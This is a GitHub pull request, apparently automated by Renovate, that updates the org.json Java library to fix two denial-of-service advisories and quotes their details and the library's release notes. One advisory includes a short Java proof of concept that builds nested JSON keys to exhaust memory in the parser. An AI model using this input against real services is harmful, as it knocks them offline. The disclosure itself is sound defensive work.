Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency org.json:json to v20231013 [security] #47

Merged
merged 1 commit into from
Dec 2, 2024

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Dec 2, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
org.json:json 20210307 -> 20231013 age adoption passing confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


json stack overflow vulnerability

CVE-2022-45688 / GHSA-3vqj-43w4-2q58

More information

Details

A stack overflow in the XML.toJSONObject component of hutool-json v5.8.10 and org.json:json before version 20230227 allows attackers to cause a Denial of Service (DoS) via crafted JSON or XML data.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Java: DoS Vulnerability in JSON-JAVA

CVE-2023-5072 / GHSA-4jq9-2xhw-jpx7

More information

Details

Summary

A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.

Severity

High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept
package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{\"a\":1}";
    }
    return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %s\n", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
  }
}

When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis

The issue is fixed by this PR.

Timeline

Date reported: 07/14/2023
Date fixed:
Date disclosed: 10/12/2023

Severity

High

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

douglascrockford/JSON-java (org.json:json)

v20231013

Compare Source

Pull Request Description
#​793 Reverted #​761
#​792 update the docs for release 2023101
#​783 optLong vs getLong inconsistencies
#​782 Fix XMLTest.testIndentComplicatedJsonObjectWithArrayAndWithConfig() for Windows
#​779 add validity check for JSONObject constructors
#​778 Fix XMLTest.testIndentComplicatedJsonObjectWithArrayAndWithConfig() for Windows
#​776 Update [JUnit to version 4.13.2
#​774 Removing unneeded synchronization
#​773 Add optJSONArray method to JSONObject with a default value
#​772 Disallow nested objects and arrays as keys in objects
#​779 Unit test cleanup
#​769 Addressed Java 17 compile warnings
#​764 Update CodeQL action version
#​761 Add module-info
#​759 JSON parsing should detect embedded 
#​753 Updated new object methods
#​752 Fixes possible unit test bug when compiling/testing on Windows

v20230618

Compare Source

Pull Request Description
#​749 Prep for release 20230618
#​740 Fixed Flaky Tests Caused by JSON permutations
#​734 Fixed Flaky Tests Caused by JSON permutations
#​733 JSONTokener implemented java.io.Closeable
#​731 Removing commented out code in JSONObject optDouble()
#​729 Refactor ParserConfiguration class hierarchy

v20230227

Compare Source

Pull Request Description
#​723 Protect JSONML from stack overflow exceptions caused by recursion
#​720 Limit the XML nesting depth for CVE-2022-45688
#​711 Revert pull 707 - interviewbit spam
#​704 Move javadoc comments above the interface definition to make it visible
#​703 Update Releases.md for JSONObject(Map): Throws NPE if key is null
#​696 Update JSONPointerTest for NonDex compatibility
#​694 Pretty print XML
#​692 Example.md syntax highlight and indentation
#​691 Create unit tests for various number formats

v20220924

Compare Source

Pull Request Description
#​688 Update copyright to Public Domain
#​687 Fix a typo
#​685 JSONObject map type unit tests
#​684 Remove v7 build from pipeline
#​682 JSONString similarity
#​675 https://github.com/stleary/JSON-java/pull/675

v20220320

Compare Source

Pull Request Description
#​660 Wrap StackOverflow with JSONException

v20211205

Compare Source

Pull Request Description
#​651 IdentityHashSet for JSONObject cycle detection
#​646 XMLParserConfiguration defined json arrays option
#​645 Handle circular references in Java beans
#​640 Unit tests for multiple backslashes in JSONPointer
#​637 Reorganized README.md
#​634 Update README with Unix examples
#​631 Refactor JSONPointerTest
#​626 Add CODE_OF_CONDUCT.md
#​622 Clean up readme.md
#​621 Clean up comments
#​617 JSONObject.similar() numeric compare bug fix
#​613 JsonObject.similar() number entry check bug fix
#​610 optJSONObject() add default value
#​607 Add Security.md policy page
#​606 Clean up comments, add suppressWarning annotation
#​604 Fixed incorrect cast getting float from array
#​601 Added Examples.md for new users
#​594 JSONStringer.java: fix max nesting level in javadoc

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
@renovate renovate bot added the security label Dec 2, 2024
@renovate renovate bot merged commit 90a7112 into main Dec 2, 2024
4 checks passed
@renovate renovate bot deleted the renovate/major-vulnerability-alerts branch December 2, 2024 13:51
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants